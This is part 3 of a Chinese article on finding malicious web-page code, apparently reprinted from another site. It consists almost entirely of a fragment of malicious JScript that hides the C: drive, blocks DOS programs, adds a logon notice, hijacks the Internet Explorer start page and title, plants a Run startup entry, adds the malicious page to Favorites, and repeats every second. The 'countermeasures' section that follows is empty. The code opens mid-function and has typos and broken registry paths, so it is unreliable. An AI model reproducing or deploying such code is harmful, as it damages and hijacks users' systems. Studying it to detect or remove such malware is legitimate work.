如何查找网页恶意代码(3)

//让操作系统无逻辑驱动器C
Shl.RegWrite （ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\ Explorer\\NoDrives", "00000004", "REG_DWORD"）;

//禁止运行所有的DOS应用程序；
Shl.RegWrite （ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\ WinOldApp\\ Disabled","REG_BINARY"） ;

//让操作系统无法切换至传统DOS的实模式下
Shl.RegWrite （ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\ \WinOldApp\\NoRealMode","REG_BINARY"） ;

// 让系统登录时显示一个登录窗口，以下是写入启动弹出对话框标题
Sh1.RegWrite （ "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ Winlogon\\Legal NoticeCaption", "…….."）;

// 写入启动弹出对话框内容
Sh1.RegWrite （ "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ Winlogon\\Legal NoticeText", "……………"）;

//以下是对IE相关注册表项值项的修改

// 设置浏览器默认主页
Sh1.RegWrite （"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "………….."）;

// 修改启动中的输入法启动项
Sh1.RegWrite （ "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ Run\\internat.e xe", "………….."）;

// 设置注册不可更改
Sh1.RegWrite （ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\ Policies\\WinOl dApp\\NoRealMode", "00000000", "REG_DWORD"）;

//修改浏览器的标题栏
Shl.RegWrite （"HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "……………"）;
Shl.RegWrite （"HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "………….."）;

// 以下程序是将含恶意代码的网页添加至收藏夹中
var WF, Shor, loc;
WF = FSO.GetSpecialFolder（0）;
loc = WF + "\\Favorites";
if（!FSO.FolderExists（loc））
{
loc = FSO.GetDriveName （WF） + "\\Documents and Settings\\
" + Net.UserName + "\\Favorites";
if（FSO.FolderExists（ loc））
{
AddFavLnk（loc, "显示标题…..", "URL……" ）;
}
}

//设置 cookie值
var expdate = new Date（（new Date（ ））.getTime（） + （1））;
document.cookie="Chg=general; expires=" + expdate.toGMTString（ ） + "; path=/;"
}
}
catch（e）
{}
}
catch（e）
{}
}
//初始化函数，并每隔一秒执行修改程序
function init（）
{
setTimeout（"f（）", 1000）;
}
init（）;
 

因应对策：

【免责声明】本站内容转载自互联网，其相关言论仅代表作者个人观点绝非权威，不代表本站立场。如您发现内容存在版权问题，请提交相关链接至邮箱：bqsm@foxmail.com，我们将及时予以处理。